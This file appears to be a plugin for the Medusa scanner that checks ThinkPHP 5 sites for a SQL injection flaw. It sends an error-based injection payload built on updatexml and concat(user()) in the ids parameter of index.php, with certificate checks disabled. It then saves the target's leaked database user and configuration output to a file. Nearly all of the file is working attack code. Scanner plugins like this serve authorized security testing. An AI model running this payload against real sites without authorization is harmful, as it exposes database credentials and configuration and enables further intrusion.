#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Ascotbe'
import requests
from ClassCongregation import VulnerabilityDetails,UrlProcessing,ErrorLog,WriteFile,randoms
requests.packages.urllib3.disable_warnings()
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="0" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2020-2-19"  # 插件编辑时间
        self.info['disclosure'] = '2017-4-7'  # 漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "ThinkPHPSqlInjectionVulnerability"  # 插件名称
        self.info['name'] ='ThinkPHPSql注入漏洞' #漏洞名称
        self.info['affects'] = "ThinkPHP"  # 漏洞组件
        self.info['desc_content'] = "一个（鸡肋）SQL注入漏洞，似乎是一个不允许子查询的SQL注入点。"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['version'] = "ThinkPHP5"  # 这边填漏洞影响的版本
        self.info['suggest'] = "升级最新ThinkPHP版本"  # 修复建议
        self.info['details'] = Medusa  # 结果


def medusa(Url, RandomAgent, ProxyIp=None):
    scheme, url, port = UrlProcessing().result(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        payload="/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1"
        payload_url = scheme + "://" + url + ":" + str(port) + payload
        headers = {
            'User-Agent': RandomAgent,
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        }
        resp = requests.get(payload_url,headers=headers, timeout=6, verify=False)
        con=resp.text
        if con.find("SQLSTATE")!=-1 and con.find("Database Config")!=-1 and con.find("Database Status")!=-1 and con.find("hostname")!=-1 and con.find("username")!=-1:
            Medusa = "{}存在ThinkPHPSql注入漏洞\r\n验证数据:\r\n漏洞位置:{}\r\n返回值:{}\r\n".format(url,payload_url,con)
            _t = VulnerabilityInfo(Medusa)
            web = VulnerabilityDetails(_t.info)
            web.High()  # serious表示严重，High表示高危，Intermediate表示中危，Low表示低危
            WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception:
        _ = VulnerabilityInfo('').info.get('algroup')
        _l = ErrorLog().Write(url, _)  # 调用写入类传入URL和错误插件名
